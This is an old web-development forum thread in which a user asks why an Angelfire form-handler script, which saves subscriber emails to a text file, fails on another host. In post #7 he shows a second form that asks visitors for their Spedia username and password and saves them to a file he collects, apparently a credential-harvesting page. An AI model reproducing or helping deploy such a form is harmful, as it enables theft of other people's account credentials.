Results 1 to 9 of 9

Thread: Input Textbox

  1. #1

    Thread Starter
    Hyperactive Member Emo's Avatar
    Join Date
    Jul 2000
    Posts
    428

    Unhappy Input Textbox

    This seems very easy to do, but I can't get it to work...

    All I want to do is to have a Text box and a button... So I ask the user to write their E-mail in the text box and press the button... then I need that E-mail, and all the other e-mails saved in a text file on my site...

    I've done this before but for some reason I can't get it work on a different host than what I have it on....

    Thanks...
    -Emo
    -=VB6 Enterprise Edition=-
    -=VC++6Enterprise Edition=-
    «¤E³m°O²™¤»

  2. #2
    scoutt
    Guest
    uhhhh...... a little hard to help you if you don't give us some code to see what the problem is.

  3. #3

    Thread Starter
    Hyperactive Member Emo's Avatar
    Join Date
    Jul 2000
    Posts
    428

    Talking hehe

    Sorry, I should've given you that....

    Code:
    <FORM ACTION="/cgi-bin/script_library/form_handler_file" METHOD=POST>
      <p align="center"><font color="#990000"><b>Subscribe here!</b></font></p>
      <p align="center"><font color="#990000">Your E-mail?</font><font color = "#FFFF00"> 
        </font> 
        <INPUT TYPE="text" NAME="email" maxlength="30">
        <font color="#990000">
        <input type="submit" value="Subscribe" name="submit">
        </font><BR>
        <INPUT TYPE="hidden" NAME="end_display" VALUE="http://www.somewebsite.com">
        <INPUT TYPE="hidden" NAME="required" VALUE="email">
        <INPUT TYPE="hidden" NAME="order" VALUE="email">
        <INPUT TYPE="hidden" NAME="savefile" VALUE="visitors.txt">
        <INPUT TYPE="hidden" NAME="email_to" VALUE="[email protected]">
      </p>
    </FORM>
    I got this code from the Angelfire Library and it works in Angelfire, but I can't get it to work in F2S... I guess it's because of that <FORM ACTION="/cgi-bin/script_library/form_handler_file" lince... I don't know.. I think I'm supposed to use CGI-BIN with F2S...

    Any help?
    -=VB6 Enterprise Edition=-
    -=VC++6Enterprise Edition=-
    «¤E³m°O²™¤»

  4. #4
    scoutt
    Guest
    so you are not getting the output of htat form?
    well just for giggles put the hidden inputs right above the submit input.

    if you are suppose to use the cgi-bin on F2S then that is what you are in. take out the "/" in front of the cgi-bin. other than that I don't see anyhitng wrong.

    what errors are you getting if any?

    what does the output look like?

  5. #5

    Thread Starter
    Hyperactive Member Emo's Avatar
    Join Date
    Jul 2000
    Posts
    428
    Well, when I try it out, it doesn't make a file called "visitors.txt" like I told it to...

    Second, if I use the code I posted in my earlier message, after I hit subscribe, it goes to a page with the URL: http://www.thewebsite.f2s.com/cgi-bin/script_library/form_handler_file

    -Emo
    -=VB6 Enterprise Edition=-
    -=VC++6Enterprise Edition=-
    «¤E³m°O²™¤»

  6. #6
    scoutt
    Guest
    I don't think I am getting the picture.

    that code you showed me will not make a text file called visitors.txt. this input
    <INPUT TYPE="hidden" NAME="savefile" VALUE="visitors.txt">
    only make the variable "savefile" be = to visitors.txt. it does not make a file. and the action is what is suppose to happen.
    Second, if I use the code I posted in my earlier message, after I hit subscribe, it goes to a page with the URL: http://www.thewebsite.f2s.com/cgi-bin/script_library/form_handler_file
    that is suppose to do that, that is correct.

  7. #7

    Thread Starter
    Hyperactive Member Emo's Avatar
    Join Date
    Jul 2000
    Posts
    428
    Ok...

    Take a look at this:
    http://www.angelfire.com/sd/Emil/log.html

    I used this code in there and it made a txt file with the user/pass. (You won't be able to see the source so.. here it is...

    Code:
    <FORM ACTION="/cgi-bin/script_library/form_handler_file" METHOD=POST>
    
    	<font color = "#FFFF00"> Your Spedia Username? </font>
    	<INPUT TYPE="text" NAME="username"><BR>
    	<font color = "#FFFF00"> Your Spedia Password? </font>
    	<INPUT TYPE="text" NAME="password"><BR>
    
    	<INPUT TYPE="hidden" NAME="end_display" VALUE="http://www.angelfire.com/sd/Emil/">
    	<INPUT TYPE="hidden" NAME="required" VALUE="username, password">
    	<INPUT TYPE="hidden" NAME="order" VALUE="username, password">
    	<INPUT TYPE="hidden" NAME="savefile" VALUE="spediaIDs.txt">
    	<INPUT TYPE="hidden" NAME="email_to" VALUE="[email protected]">
    	<INPUT TYPE="submit" VALUE="Log In">
    
    </FORM>
    and when I log in my agelfire account, I have a text file called "spediaIDs.txt" with the info...
    That's what I'm trying to do with F2S...

    -Emo
    -=VB6 Enterprise Edition=-
    -=VC++6Enterprise Edition=-
    «¤E³m°O²™¤»

  8. #8
    scoutt
    Guest
    what do you mean I won't be able to see the code, that was easy to decipher.

    anyway....

    I have never seen that a hidden input make a file. it might be an F2S thing, how they have it configure in the server, not sure

    maybe one of the other guys will now as I have never heard of this.

    are you sure that this doesn't need an extension
    http://www.thewebsite.f2s.com/cgi-bi...m_handler_file.cgi or what ever

  9. #9

    Thread Starter
    Hyperactive Member Emo's Avatar
    Join Date
    Jul 2000
    Posts
    428

    Talking

    what do you mean I won't be able to see the code, that was easy to decipher

    aha

    I have never seen that a hidden input make a file

    Well, I wouldn't know, because like I told you, I got this code from the Angelfire HTML library so I just put it in and... well it worked...

    I'll try that .cgi extention thing you told me...

    Thanks!

    -Emo
    -=VB6 Enterprise Edition=-
    -=VC++6Enterprise Edition=-
    «¤E³m°O²™¤»

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width